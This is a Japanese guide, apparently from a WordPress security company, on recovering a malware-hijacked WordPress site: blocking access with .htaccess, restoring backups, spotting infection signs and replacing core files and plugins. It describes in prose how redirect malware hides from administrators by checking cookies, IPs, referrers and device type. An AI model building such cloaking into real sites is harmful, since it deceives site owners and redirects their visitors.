パスワード類は先に変更 ・サーバーログイン、FTP/SFTP、WordPressログインのパスワードを先に変更します。
WordPressのマルウェアによる乗っ取りでは、リダイレクトの原因が必ずしもログイン情報の流出とは限りません。ですが、対応としては必ずやってください。
管理権限が脆弱性を突かれて奪われることと、管理者アカウントのパスワード自体が物理的に漏れていることは別問題です。ここは切り分けて考える必要があります。

## 一旦アクセスを遮断します。

.htaccess に、自分のIPアドレス以外を通さない記述を入れます。
完全遮断はプラグインではできません。WordPressプラグインはPHP実行後に動くため、WordPressを経由しないマルウェア（直接PHP実行、既設バックドア、静的ファイル経由など）は簡単にすり抜けます。
**自分のIPアドレスは、「確認くん」などで確認できます。**
[https://www.ugtop.com/spill.shtml](https://www.ugtop.com/spill.shtml "https://www.ugtop.com/spill.shtml")
表示される「あなたのＩＰアドレス（IPv4）」が使うIPアドレスです。

メンテナンス用のmaintenance.htmlを作成し、アップロードしておきます。ChatGPTなどを使う場合は、個人情報を入力せず、空欄のまま作成してローカルで編集してください。
**<プロンプト>
メンテナンス中のmaintenance.htmlを作ってほしい。必要なことをあなたが質問して。それを元に生成してください。**
maintenance.html をルートに置いておけば、自分以外にはメンテナンスページを見せつつ、HTTP ステータスは 503 になります。

**一時的にアクセスを遮断する**

```
`ErrorDocument 503 /maintenance.html`
`RewriteEngine On `
`# 自分のIPは通す`
`RewriteCond %{REMOTE_ADDR} !^xxx\.xxx\.xxx\.xxx$`
`# メンテナンスページ自体は通す`
`RewriteCond %{REQUEST_URI} !^/maintenance\.html$`
`# それ以外は503を返す`
`RewriteRule ^ - [R=503,L]`
```

.htaccess で自分の IP 以外を遮断し、外部からのアクセスを一時停止します。このとき、302 リダイレクトではなく 503 Service Unavailable を返す 形にしておくと、メンテナンス中であることを検索エンジンに正しく伝えやすくなります。Google も、計画停止や一時的なオフライン対応では 503 を返す方法を案内しています。
参考URL: [https://developers.google.com/search/blog/2011/01/how-to-deal-with-planned-site-downtime](https://developers.google.com/search/blog/2011/01/how-to-deal-with-planned-site-downtime "https://developers.google.com/search/blog/2011/01/how-to-deal-with-planned-site-downtime")
参考URL: [https://developers.google.com/search/blog/2008/04/my-sites-been-hacked-now-what](https://developers.google.com/search/blog/2008/04/my-sites-been-hacked-now-what "https://developers.google.com/search/blog/2008/04/my-sites-been-hacked-now-what")

※ 192.168.0.x 、10.x.x.x 、172.16.x.x はここで使うIPアドレスではありません。これらはローカルIPアドレスで、電話でいうと内線番号のようなものです。

## メンテナンスモードでは不十分

WordPressのメンテナンスモードは、「.maintenance」ファイルを配置して表示を変える方法、またはプラグインでメンテナンス中の画面を表示する方法を指すことが一般的です。
ただ、これはあくまで表示上の問題です。サイトを完全に外部から遮断したことにはならない場合が多いです。

サイトを完全に遮断しない限り、攻撃は止まりません。普通に来ます。表示上はメンテナンス中にしていても、裏では攻撃が続いていることは普通にあります。
マルウェアやボット（自動化された攻撃プログラム）は、たとえば次のような場所を攻撃してきます。

**攻撃対象になりやすいポイント**

**ログイン系**
/wp-login.php
**API系**
/xmlrpc.php
**非同期処理**
/wp-admin/admin-ajax.php
**不正実行**
バックドア / cron
**設定改ざん**
.user.ini 注入
いくらでも攻撃してきます。だからこそ、まずは「見せ方」ではなく「遮断」を優先します。

## バックアップからデータを戻す

バックアップから戻して症状が治る場合があります。ただし、「治る」のと「治っているように見える」のは雲泥の差です。
我々からすると、バックアップ復元は復旧のスピードを少し早める程度の意味合いです。しかし一般的には、管理画面に入れるようになっただけで自己復旧したように見えます。

ここは、「治っているように見える」前提で復旧作業を進めるくらいでちょうどいいです。
運営者の都合にもよりますが、できるだけ前のバックアップに戻すことが重要です。WordPressのマルウェアは、いつ入り込んでいるのか分からないことが多いからです。

弊社にご依頼されるお客様でも、2年前のバックドアの痕跡が出てきた事例があります。これは、偽装できるタイムスタンプを見たのではなく、時系列の矛盾から弾き出した結果です。
バックアップは、プラグインで取得したもの、またはサーバー会社のバックアップから戻すことを想定しています。

## サーバー会社のバックアップ機能について

本筋からは少し外れますが、サーバー会社のバックアップ機能は非常に重要です。サイト運営者にとってはかなり心強い存在ですし、WordPressを運用する上ではサーバー選定の大きな判断材料にもなります。特に乗っ取り被害時には、その効果が大きく出ます。

ただし、1台のサーバーにWordPressを載せすぎると、容量の問題でバックアップが取得できないことがあります。コスト面では合理的でも、1サイトの感染が全体に広がるケースを多く見てきました。
復旧には時間も費用もかかりますし、担当者の精神的な負担もかなり大きくなります。

## 【デバッグポイント】マルウェア感染チェックリスト

**※この段階で少しでも不安がある場合は、専門業者への依頼を推奨します。**

次の項目は、「感染していない確認」ではなく、「まだ復旧途中、または感染が残っている可能性があるか」を見るチェックポイントです。ここで問題が出るようであれば、バックアップから戻しただけでは足りない可能性があります。

- 管理画面にログインできて、デザインが崩れていない
- 何かしらのプラグインをインストールできる
- 転送されない
- index.php や .htaccess が汚染されていない
- 新規投稿画面が問題なく開き、テストで下書きできる
- プラグインの新規追加で、何でもよいので検索ができる
- ユーザー一覧に不審なユーザーがいない
- 管理画面上部に英語のエラーメッセージが表示されていない

index.php や .htaccess の内容が分からない場合は、ファイルをコピーしてChatGPTに投げて確認する方法もあります。ただし、顧客情報・認証情報・個人情報は入れないでください。
**また、AIから復旧手順を提示された場合も、そのまま実行せず、かなり慎重に判断してください。**

**転送確認は、次の方法で行います。**

- シークレットモードで確認する
- 閲覧履歴とクッキーを削除できるブラウザで確認する
- スマホでWi-Fiを使わず、シークレットモードで検索して確認する

※必要であれば、自分のIPアドレスを .htaccess に追加してください。

ユーザー一覧に**不審なユーザーがいた場合**は、先にスクリーンショットを取り、その後すぐ削除してください。
また、管理画面上部に表示される英語の文は、プログラムのエラーであることが多いです。これは復旧過程で消える場合もありますが、ひとつの判断材料になります。

ここが、ひとつの基準です。
そもそもWordPressの管理画面が真っ白、403が出るという状態だと、バックアップ自体がすでにマルウェアにやられている可能性がかなり高いです。この場合、バックアップから戻すだけでの復旧は厳しいです。

## 転送は人を見て出し分けるマルウェアがある

転送系のマルウェアは、全員を同じ条件で飛ばすとは限りません。ここを誤解すると、管理者本人が確認したときに転送されず、「治った」と誤認します。

このパターンは、2年くらい前まではかなり典型的でした。最近は少し減ってきた印象はありますが、いまでもメジャーな手口のひとつです。
実際には、IPアドレス、リファラー、Cookie、ログイン状態、User-Agent、アクセス元、時間帯などを見て条件分岐し、管理者や調査者には転送させず、一般ユーザーにだけ転送するような挙動を取ります。

たとえば、次のような条件で挙動を変えるマルウェアがあります。

- 管理画面にログインしているアクセスは除外
- WordPressの認証Cookieを持っているアクセスは除外
- 管理者が普段使うIPアドレス帯は除外
- Google検索、広告、外部サイト経由の流入だけを対象にする
- スマホ系のアクセスだけを対象にする
- 一定時間ごと、または確率でだけ発火する

この手の個体は、管理者本人のPCでは再現しないことがあります。そのため、転送確認は自分のブラウザだけで終わらせてはいけません。シークレットモード、別ブラウザ、スマホ回線、別端末での確認が必要です。

※弊社ののマルウェアサンプルは確認していますが、悪用防止のため、ここでは実行可能なコードは掲載せず、挙動が分かるよう無毒化・一部改変した内容で説明します。

### 【弊社のマルウェアサンプル】から抜粋（無毒化・一部改変）

スクリプトを解析すると、概ね下記のような条件分岐になります。

- 管理者としてログインしているアクセスは除外する
- WordPressの認証Cookieを持っているアクセスは除外する
- 管理者が普段使っているIPアドレス帯からのアクセスは除外する
- bot、crawler、scannerと判定したアクセスは除外する

次の条件がそろったときだけ、転送または外部読込を行うという作りです。

- 一般ユーザーのアクセスである
- 検索エンジン、広告、外部サイト経由のアクセスである
- スマホ系のアクセスである
- 管理画面やログイン画面へのアクセスではない
- すでに処理済みであることを示すCookieを持っていない

実際の不正コードは文字列を分割したり、難読化したり、外部ファイルを読み込んだり、条件を増やしたりして、ぱっと見では分からないようにしてあります。
そのため、コードを1回見ただけでは「転送先が見えない」「何もしていないように見える」ことも珍しくありません。

ここで重要なのは、**自分では転送されない = 感染していない**、ではないという点です。なので管理者は中々気付かず、「お客様から指摘があって気づいた」というご依頼者は少なくありません。
いつものPC、いつもの回線、ログイン済みのブラウザで確認すると、普通に表示されて「治った」ように見える。しかし実際には、検索結果や外部サイトから来た一般ユーザーにだけ転送している、ということがあります。
だからこそ、復旧確認は「自分で見て問題なかった」ではなく、「条件を変えても再現しない」まで見る必要があります。

## マルウェア感染を強く疑うチェック

過去の事例から見ても、かなりの確率で感染を疑うべきチェックポイントがあります。ここでいうのは、感染していないことを確認するチェックではなく、感染している可能性が高いチェックです。

### 1・直下の .htaccess が不自然

多くのWordPress環境では、公式が示す基本形として「 # BEGIN WordPress と # END WordPress」 を含む .htaccess が使われます。
そのため、直下の .htaccess が極端に短く、下記のような記述しかない場合は不自然です。
https://developer.wordpress.org/advanced-administration/server/web-server/httpd/

```

RewriteEngine On
RewriteBase /

RewriteRule ^index\.php$ - [L]

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

```

もちろん、これだけで感染確定とは言えません。ただ、実務上はこの記述がサーバー内へ大量にばらまかれている事例があります。
多いときは、6,400ファイル以上作られていたケースもありました。報告書を見て依頼主様はかなり驚かれますが、こういうファイルは本当に秒で増えます。

### 2・/uploads/ 直下の .htaccess が不自然

/uploads/ は本来、画像やPDFなどのアップロードファイルを置く場所です。
ここに php5 や php7 など、PHP実行まわりの文字が不自然に並んでいる場合は典型的なパターンです。かなり強く疑います。

### 3・public\_html 配下のアクセス権を確認する

弊社では、public\_html 配下のパーミッションがどうなっているかを一度チェックします。
このパターンは、実務でもよく見かけます。

特に、444 や 555 になっているファイルやディレクトリがある場合は要注意です。
フォルダのアクセス権が 555 になっていると、その配下のファイルやディレクトリを通常の操作で削除できないことがあります。
444 や 555 は、マルウェアが自分を削除しにくくするために、意図的に権限を固めている典型例として見かけます。かなり強く疑うべき状態です。

たとえば、SSHで次のように確認します。

```

find ./ -perm 555 > 555.txt

find ./ -perm 444 > 444.txt

```

※SSHでの作業になります。コマンドを実行する際は、カレントディレクトリが public\_html （または公開ディレクトリ）であることを必ず確認してください。

### 4・全ページがトップページと同じで、管理画面に入れない

一見すると、単なるWordPressの設定ミスのように見えることがあります。
ただ、このパターンはかなり厄介です。専門業者へ即依頼をすすめます。

このタイプは、ゾンビのようにマルウェアが再生成されることがあります。サーバー内に入っているWordPressをすべて一度アクセス禁止にし、1つずつ対処していく必要が出ることもあります。
マルウェアの復旧は、本来こうあるべきです。ただ、実務ではスピードも求められるので、そうも言っていられない場合があります。弊社でも数人で5WordPressを同時進行するのは普通にあります。ですが、このパターンは同時進行が通用しません。

サーバーの中身は、一見すると普通のWordPressのディレクトリやファイル名です。
しかし中身は、トップページだけを表示するためのスカスカなファイルになっていて、裏ではマルウェアが動いています。これもアウトです。

## 5・Search Console で確認する

Search Console の「セキュリティと手動による対策」に、セキュリティの問題や手動による対策が表示されていないか確認します。
ただし、ここは時差があります。 表示がないから安全とは限りません。
[https://developers.google.com/search/docs/monitor-debug/security/prevent-malware](https://developers.google.com/search/docs/monitor-debug/security/prevent-malware "https://developers.google.com/search/docs/monitor-debug/security/prevent-malware")

## サイトを閉鎖したのに転送される、おかしな挙動をする？

これは、WordPressの実行領域の話になります。
WordPressは立ち上がる段階で、必ず複数のファイルを順番に読み込みます。ここでいう「立ち上がる」とは、表示処理が開始される状態です。
その読み込みの流れのどこかにマルウェアが仕込まれていると、サイトを閉鎖したつもりでも、自分のIPアドレスでアクセスした瞬間にWordPress自体が起動し、マルウェアも一緒に動きます。

ざっくり言うと、ファイルの読み込みの流れは次のようになります。

```
index.php→ wp-blog-header.php→ wp-load.php→ wp-config.php→ wp-settings.php→ wp-includes/ 配下の各種ファイル
```

この読み込みの流れにフックして動くマルウェアは、実務上かなり多いです。
復旧では、まずこの流れのどこで不正な処理が差し込まれているかを疑って見ます。wp-settings.php はWordPressの初期化処理を担うコアファイルで、読み込みの起点として重要です。
[https://developer.wordpress.org/reference/files/wp-settings.php/](https://developer.wordpress.org/reference/files/wp-settings.php/ "https://developer.wordpress.org/reference/files/wp-settings.php/")

基本的に、こうしたマルウェアは HTTPリクエスト（Webアクセス） のような「トリガー」がないと実行されません。ここが、Windowsの常駐型マルウェアとは違うところです。
そのため、サイトを封鎖しても、自分のIPアドレスを許可してアクセスすればWordPressは起動します。
つまり、マルウェアも動きます。ただし、それでもサイトを封鎖する意味は大きいです。被害を最低限に抑えるという意味では、かなり重要です。

**この時点で「もう詰みでは？」という話になりがちですが、まだ進められます。
このあと最後まで、問題を1つずつ潰していきます。**

### /wp-content/mu-plugins/ のチェック

ここは、プラグイン一覧に出てこない特殊なプラグインを置く場所です。
WordPressの仕組み上、通常のプラグインより先に読み込まれるため、マルウェアを仕掛けるにはかなり都合のよい場所です。まず疑ってチェックします。

確認場所は次です。
**管理画面 ＞ ツール ＞ サイトヘルス ＞ 情報タブ ＞ MUプラグイン**

ここも、内容が分からなければファイルをコピーしてChatGPTに投げてみてもよいです。
ただし、認証情報や個人情報は入れないでください。
正直、私も一見しただけでは判断がつかないことがあります。ただ、視認レベルでも結構見つかります。
とはいえ、ここに何もなかったから安心、とは全く言えません。複数箇所に仕込まれていることは普通にあります。

### /wp-content/plugins/ のチェック

plugins フォルダの中の数と、サイトヘルスで見えるプラグイン数が合っているか確認します。
実務では、plugins.php のように、一見すると当たり前に見える名前で紛れていることがあります。こういうのを見ます。

確認場所は次です。
**管理画面 ＞ ツール ＞ サイトヘルス ＞ 情報タブ**
・使用中のプラグイン
・停止中のプラグイン
※情報をコピーできるポタンがあるので、コピーしてファイルに保存することを強くお勧めします。途中で管理画面に入れなくなったときは、貴重な情報になります。

フォルダにある数と、管理画面上で認識されている数が合わない場合は、かなり注意です。
見えていないファイル、見えていないプラグイン、そもそもWordPressの管理画面に出てこない細工が入っている可能性があります。

## ファイルの入替え

ここから、実際にファイルの入替えを行っていきます。
その前に、復旧で必要になる前提知識を書きます。そんなのはいらないから、さっさと答えを教えてほしいという方もいるでしょう。

ですが、ここをある程度理解しないと、WordPressは普通に壊れます。
表現が正しいかどうかはさておき、エンジニアの成長のひとつは、やらかした数と真っ青になった数です。そうやって経験と判断力が上がっていきます。
だからこそ、この前提を抜いたまま復旧すると、うまくいかないリスクが上がります。私自身、昔は相当このような青ざめた経験はありました。（いまもありけど）

### ファイルの入替えは不可避

WordPressコアの入替えと、プラグインの入替えは不可避です。ここは強く言います。不可避です。

理由は単純で、コアファイルを上書きしただけでは、マルウェアが独自に作成したファイルやディレクトリは消えないからです。
WordPress本体の正規ファイルが新しくなっても、正規ファイル名ではない不正ファイル、あとから追加されたバックドア、別ディレクトリに置かれた不正コードはそのまま残ります。

つまり、上書きでは「見えているファイル」は新しくなっても、見えていない不正ファイルは残るということです。
だから、一度ディレクトリを空にしてから、クリーンなファイルを配置する必要があります。
これが、コアファイルの総入替えを断定できる理由です。

### アップデートすれば入れ替わるのでは？

ここでよく出るのが、「アップデートすれば入れ替わるのでは？」という話です。
ですが、復旧の観点ではそれでは足りません。

**WordPressコアファイルは？
→ 上書きでは、マルウェアが追加した独自ファイルや独自ディレクトリが残存する可能性があります。**
そもそも、コアファイル名以外の不正ファイルがあれば、アップデートでは消えません。ここはかなり見落とされがちです。
だから、まるごと入れ替える必要があります。 上書きでは意味がありません。あくまで入替えです。

PROFESSIONAL-POINT
WP-CLIでの再取得も、考え方としては同じです。

```
`wp core download --force`
```

これでコアファイル自体は再取得できます。ですが、すでに追加されている不正ファイルや不正ディレクトリまで消してくれるわけではありません。
復旧として見るなら、これも「上書き」の発想に近く、十分ではありません。

テーマやプラグインは、WordPress標準の更新・インストールの仕組みに沿って処理されます。
この処理は Filesystem API と WP\_Upgrader を使って行われ、パッケージの展開、配置先へのコピー、必要に応じた既存ディレクトリのクリアといった流れで進みます。管理画面からの更新だけでなく、ZIPアップロードによるインストールや更新も、基本的にはこの仕組みの上で動いています。
[https://developer.wordpress.org/apis/filesystem/](https://developer.wordpress.org/apis/filesystem/ "https://developer.wordpress.org/apis/filesystem/")
[https://developer.wordpress.org/reference/classes/wp\_upgrader/](https://developer.wordpress.org/reference/classes/wp_upgrader/ "https://developer.wordpress.org/reference/classes/wp_upgrader/")

そのため、WordPressの想定する更新・入替えの流れに沿ってテーマやプラグインを入れ替えることには意味があります。
逆に、この仕組みに沿わない中途半端な上書きや、手作業での不完全な差し替えでは、不正ファイルやマルウェアが残る可能性があります。
ここが、単なる「上書き」と「入替え」の違いです。

**プラグイン
→ そのプラグインのディレクトリを、クリーンな正規版と入れ替えることで、その配下に仕込まれた不正ファイルは除去できます。**

**テーマ
→ 親テーマのディレクトリを、クリーンな正規版と入れ替えることで、その配下に仕込まれた不正ファイルは除去できます。**

ただし、どちらもそのディレクトリの外にある不正ファイルまでは消えません。だから、やはり全体を見て入替えを考える必要があります。

### サーバーのドメイン初期化してリストア

ドメインを初期化して、そこへバックアップを戻して終わり、というのも危険です。
バックアップ自体に不正ファイルが含まれていれば、また同じものを戻すだけになります。入替えは不可避です。

※サーバーの仕様によっては、復元時に wp-content のみ上書きされるケースもあります。この場合は、何が戻されて何が残るのかを確認したうえで判断が必要です。

### ワードプレスのフォルダ構成

WordPressのフォルダ構成は、ざっくり言うと wp-config.php と wp-content に個別環境の要素が集まっています。
逆に言えば、それ以外のコアファイルやコアディレクトリは、新品と入れ替える前提で考えやすいです。

つまり、復旧では次のように整理すると分かりやすいです。

- 残すもの
    ・wp-config.php
    ・wp-content 配下の必要なデータ
- 入れ替えるもの
    ・WordPressコア一式

単純に入れ替えればいい、という話ではあります。ただし、サイトを止めるかどうか、どの順番でやるか、どこまで先に退避するかは別です。そこは実務判断になります。

### wp-config.php は必ずバックアップ

かならずローカルにバックアップを取ってください。
これが消えると、DB接続情報や各種設定を調べ直す必要があり、かなり厄介です。
もちろん、どうにかならないわけではありません。ですが、厄介です。だから、絶対にローカルに保存してください。

## wp-config.phpのチェック

-視認によるチェック
wp-config.php は、毎回読み込まれる超重要ファイルです。
ここが汚染されていたら元も子もないので、まずチェックします。

wp-config.php は環境ごとに内容が違うため、標準サイズはありません。
ただ、実務上は 2KB〜6KB 程度に収まっていることが多く、10KB を超えていると不審コード混入を疑うきっかけにはなります。
もちろん、サイズだけで感染確定はできません。あくまで、見るべきサインのひとつです。

正常な wp-config.php では、末尾に次のコメントがあります。

**Copy/\* That’s all, stop editing! Happy publishing. \*/**
この行より後ろに、意味の分からないコードや不明な処理がぶら下がっている場合は感染を疑います。
また、eval、base64\_decode、gzinflate のような文字列が入っている場合も要注意です。
これらが入っているだけで即アウトとは言いませんが、設定ファイルと関係ない複雑なコードや長い文字列があるなら、かなり強く疑います。

### SECRET\_KEY / SALT のチェック

wp-config.php では、認証キーと SALT の状態も確認します。
ここが初期値のままだと危険です。チェックポイントです。

この状態では、認証キーとソルトが初期値のままなので、ログイン情報の安全性が落ちます。
Cookie やセッションまわりの保護も弱くなり、不正ログインや乗っ取りのリスクが上がります。
WordPress公式でも、Secret Keys と Salts はセキュリティを強化する要素として説明されています。
[https://developer.wordpress.org/apis/wp-config-php/](https://developer.wordpress.org/apis/wp-config-php/ "https://developer.wordpress.org/apis/wp-config-php/")
[https://api.wordpress.org/secret-key/1.1/salt/](https://api.wordpress.org/secret-key/1.1/salt/ "https://developer.wordpress.org/apis/wp-config-php/")

実務では、これが意外と残っています。
私としてはかなり不思議なのですが、お客様にヒアリングすると、WordPressの自動インストール機能がまだそこまで一般的でなかった時代に、ご自身でインストールし、wp-config-sample.php をそのまま使ってしまった、あるいは手動設置のときに置き換えを忘れた、というケースが結構あります。
ここは、かなりの割合で人の設定ミスです。

危険な状態は、たとえば次のようなものです。

> define( ‘AUTH\_KEY’, ‘put your unique phrase here’ );
> define( ‘SECURE\_AUTH\_KEY’, ‘put your unique phrase here’ );
> define( ‘LOGGED\_IN\_KEY’, ‘put your unique phrase here’ );
> define( ‘NONCE\_KEY’, ‘put your unique phrase here’ );
> define( ‘AUTH\_SALT’, ‘put your unique phrase here’ );
> define( ‘SECURE\_AUTH\_SALT’, ‘put your unique phrase here’ );
> define( ‘LOGGED\_IN\_SALT’, ‘put your unique phrase here’ );
> define( ‘NONCE\_SALT’, ‘put your unique phrase here’ );

この状態であれば、下記へアクセスして表示された値で上書きすれば解消できます。
https://api.wordpress.org/secret-key/1.1/salt/

### SALT値の入替え

マルウェア感染や乗っ取り被害に遭った場合、SALT の入替えは**「念のため」ではなく、必須の作業**です。たとえ初期値から変更されていたとしても、必ず新品に入れ替えてください。

SALT 値を新しく書き換えることで、現在ログインしているすべてのユーザーの接続状態を強制的に切ることができます。
つまり、既存のログインセッションを無効化できます。
対応方法は、前項の値で上書きすればOKです。

## デバッグログをONにする 

マルウェア感染サイトでは、見えていないエラーや不正挙動がかなり発生しています。

デバッグログを有効化すると、いろいろ見えてきます。もちろん、見えないことに越したことはありません。

ただ、何かで躓いたときには本当に役に立ちます。
私自身も自社でプラグインを作るときは、必ずデバッグを出すようにしています。
WordPress公式でも、WP\_DEBUG、WP\_DEBUG\_LOG、WP\_DEBUG\_DISPLAY を使ったデバッグ方法が案内されています。
[https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/](https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/ "https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/")

設定は次のようにします。
/\* That’s all, stop editing! Happy publishing. \*/ より前に入れます。

```
// デバッグログを有効化（画面には出さない）define( 'WP_DEBUG', true );define( 'WP_DEBUG_LOG', true );define( 'WP_DEBUG_DISPLAY', false );
```

```
// PHPのエラー表示を抑制（ユーザーに見せない）@ini_set( 'display_errors', 0 );@ini_set( 'display_startup_errors', 0 );
```

ログは通常、**/wp-content/debug.log** に出力されます。
ただし、本番サイトで長期間ONにしたまま運用するものではありません。
WordPress公式でも、デバッグ設定は本番よりローカルやステージング向けとされています。
なので、復旧が終わったら必ず OFF に戻します。
[https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/](https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/ "https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/")

### debug.log を外から見えにくくす

ここは少し重要です。
パーミッション設定だけで「外から絶対に見えない」とは言い切れません。
Webサーバーがそのファイルを読める状態なら、HTTP 経由で見えてしまう構成もあるからです。
なので、外部公開を防ぐ対策は、表示禁止設定を優先し、パーミッションは補助として考えるのが安全です。

まず、可能であれば .htaccess などで debug.log への外部アクセスを拒否します。
そのうえで、ファイル権限も絞ります。

WordPress公式のファイル権限の説明では、通常ファイルは 644 / 640、wp-config.php は 440 / 400 が推奨寄りです。
[https://developer.wordpress.org/advanced-administration/server/file-permissions/](https://developer.wordpress.org/advanced-administration/server/file-permissions/ "https://developer.wordpress.org/advanced-administration/server/file-permissions/")

debug.log については、実務では次のように考えます。

・まず debug.log を生成させる
・内容確認に問題がなければ、可能な範囲で権限を絞る
・所有者やサーバー構成に応じて、600 または 640 を検討する

たとえば SSH なら次のような形です。

```
chmod 640 /public_html/wp-content/debug.log
```

さらに絞れる環境であれば、次のようにすることもあります。

```
chmod 600 /public_html/wp-content/debug.log
```

ただし、ここは環境依存です。
権限を絞りすぎると、今度は PHP / WordPress 側がログを書けなくなることがあります。
なので、書けることを確認しつつ、可能な範囲で絞るのが実務的です。

加えて、.htaccess が使える環境なら、たとえば次のように debug.log を直接見られないようにしておくと安全です。

復旧後は、
・WP\_DEBUG を OFF に戻す
・debug.log を確認して不要なら削除する
・残す場合も外部から見えない状態にしておく
ここまでやって終わりです。

`ワードプレスのディレクトリ・ファイル構成/public_html/`

```
■ ディレクトリ
├── wp-admin/
│ 管理画面一式
├── wp-content/
│ ★テーマ・プラグイン・アップロード
├── wp-includes/
│ コアライブラリ（内部処理）■ ファイル
├── wp-config.php
│ ★最重要：DB接続・セキュリティキー・設定
├── wp-config-sample.php
│ 設定ファイルの雛形（通常未使用）
├── index.php
│ フロント入口（全リクエストの起点）
├── .htaccess
│ URLリライト・アクセス制御（Apache）
├── .user.ini
│ PHP設定上書き（ディレクトリ単位）
│ ・memory / upload制限
│ ・error_log設定
│ ・auto_prepend_file は要注意
├── xmlrpc.php
│ 外部連携API（攻撃対象になりやすい）■ その他コア
├── wp-load.php
│ WordPress起動処理
├── wp-settings.php
│ コア初期化
├── wp-blog-header.php
│ テンプレート読み込み
├── wp-login.php
│ ログイン処理
├── wp-cron.php
│ 疑似cron処理
├── wp-comments-post.php
│ コメント送信
├── wp-signup.php
│ ユーザー登録（マルチサイト）
├── wp-activate.php
│ アカウント有効化
├── wp-mail.php
│ メール投稿処理
├── wp-trackback.php
│ トラックバック処理
├── wp-links-opml.php
│ リンク出力
├── license.txt
│ ライセンス
├── readme.html
│ 説明ファイル
```

## コアファイルの入替え手順

### 1・ワードプレスのバージョン調査

入れ替えるための WordPress を公式サイトからダウンロードします。同じバージョンを用意するために、まず現在のバージョンを調べます。

確認する場所は /wp-includes/version.php です。
ここには、たとえば $wp\_version = ‘6.9.4’; のようにバージョン情報が書かれています。
WordPressが動いているなら、基本的にこのファイルは正しく存在します。
逆に言えば、version.php が正しく存在しないと WordPress はかなり厳しいです。WordPressの仕組み上、このファイルは必ず読み込まれます。

### 2・ローカルPCで解凍してサーバーにアップ

ここは上書き厳禁です。
上書きしたら意味がありません。WordPressのコアファイルは、まるごと入れ替えないといけません。

作業はFTP / SFTPになります。
Windowsであれば、私は WinSCP をおすすめしています。現状、実務で使うなら WinSCP と FileZilla の2択だと思っています。

**WinSCPをすすめる理由は、**
・操作が分かりやすい
・設定保存がしやすい
・再接続が簡単
・日本語対応
・SSH連携がしやすい
という点です。

SSHは初心者の方だと普段使わないと思いますが、FTP/SFTPフトで本当に重要なのは、アップロード途中で止まったときに、きちんと再開できるかです。
ここは結構大事です。

私の感覚だと、違いはこんな感じです。

・FileZilla
→ キュー再開が必要になることがある（半手動寄り）

・WinSCP
→ 再接続後に継続しやすい

なので、私は WinSCP を使います。
以前は FFFTP にかなりお世話になりましたが、途中で止まると基本やり直しになることが多く、かなり苦労しました。ここは本当に重要です。

WordPressのコアファイルは、wp-content を除いてもそれなりの数がありますし、環境によってはかなりのファイル数をアップロードすることになります。
この時点で転送が不安定だと、それだけで事故率が上がります。

## ワードプレスコアのファイルを準備

復旧に使う、きれいなWordPressオリジナルファイルを用意します。ダウンロード元は公式です。

最新
[https://ja.wordpress.org/download/](https://ja.wordpress.org/download/ "https://ja.wordpress.org/download/")

過去バージョン
[https://ja.wordpress.org/download/releases/](https://ja.wordpress.org/download/releases/ "https://ja.wordpress.org/download/releases/")

※弊社は WordPress のマルウェアや乗っ取り復旧サービスなので、迅速に対応するため、ある程度のバージョンは ZIP と解凍済みの両方を保持しています。
ローカル側では、解凍したコアのディレクトリを作業しやすいようにリネームしておきます。

**ローカル側**
・wp-admin\_
・wp-includes\_

**サーバー側**
・Delete\_Backupフォルダを作成

このあと、サーバー側の既存ディレクトリを退避しながら、クリーンなコアへ入れ替えていきます。

## コアファイルのアップロード

### コアディレクトリをリネームで入れ替える

WordPressコアのディレクトリは、瞬時にリネームして入れ替えます。
ここは、アップロードしながらぐだぐだ置き換えるより、このやり方のほうが事故が少ないです。

**新しいファイルをリネーム**
・wp-admin\_ → wp-admin
・wp-includes\_ → wp-includes

**古いファイルをリネーム**
・wp-admin → wp-admin\_backup
・wp-includes → wp-includes\_backup

この形で、まずコアディレクトリをクリーンなものへ切り替えます。

### 残りのコアファイルを入れ替える

次に、ルート直下のコアファイルを入れ替えます。
基本的には、下記のファイル以外は一旦 Delete\_Backup フォルダへ退避します。

**残すファイル**
・.htaccess
・.user.ini
・wp-config.php

※ robots.txt や ads.txt がある場合もあります。ここは内容を見て判断してください。

**退避するファイル**
・index.php
・wp-config-sample.php
・wp-settings.php
・wp-load.php
・wp-login.php
・wp-mail.php
・wp-blog-header.php
・wp-cron.php
・xmlrpc.php
・license.txt
・readme.html

**基本はこのあたりです。ただし、実際にはマルウェアが独自ファイルを置いていることもあるため、残す3ファイル以外はすべて一旦退避するくらいで考えたほうが安全です。**

そのあと、新しいコアファイルをローカルからアップロードし、通常のWordPressの構成に戻します。

本来であれば、退避したファイルはそのまま削除してもよい場面はあります。
ただ、過去にはそのマルウェアがないと逆にWordPress自体が落ちるような、かなり気持ちの悪い個体もありました。実害は出ませんでしたが、その段階で一旦サイトを止めて、復旧を進めたことがあります。結構昔の話ですが、何回か冷や汗をかきました。

もし、この構成ファイルへ入れ替えた段階で大きく崩れるようであれば、このあとに行うプラグインの更新や入替えを先に進める判断も入ってきます。ここは実務判断です。

ここで一旦、コアファイル自体はクリーンな状態になります。
ただし、これで終わりではありません。すぐ次に wp-content の復旧へ進みます。理由は単純で、wp-content 側から再びコアが汚染される可能性があるからです。なので、間を空けずにそのまま進めます。

## wp-contentの復旧

### まずはバックアップ

ここでもう一度バックアップを取ります。
サーバー会社のバックアップがある場合でも、保険としてプラグイン側でもバックアップを取っておくほうが安全です。

ここでは UpdraftPlus を使います。復元が比較的わかりやすく、実務でも扱いやすいです。弊社のWordPress保守でも使っています。
使い方そのものは、ここでは省略します。必要なら調べてください。

他のプラグインが駄目という話ではありません。
ただ、復旧の現場では復元のしやすさがかなり重要です。
All-in-One WP Migration は拡張機能が必要になる場面がありますし、BackWPup は環境やサーバースペックの影響を受けやすい印象があります。
ここは好みもありますが、私は UpdraftPlus を使います。

### 入れ替えるプラグインの入手確認

プラグイン本体は、きれいなものと入れ替えれば、そのディレクトリ配下の不正ファイルを除去できるケースが多いです。
問題は、何をどうやって入れ替えるかです。

復旧でのプラグイン入替えでは、次を先に確認します。

- 管理画面の「プラグインを追加」から、今でもインストールできるか
- 以前は公式ディレクトリから入れられたが、今は配布終了していないか
- 有料プラグインの場合、配布元からZIPを入手できるか
- ライセンスが切れていないか

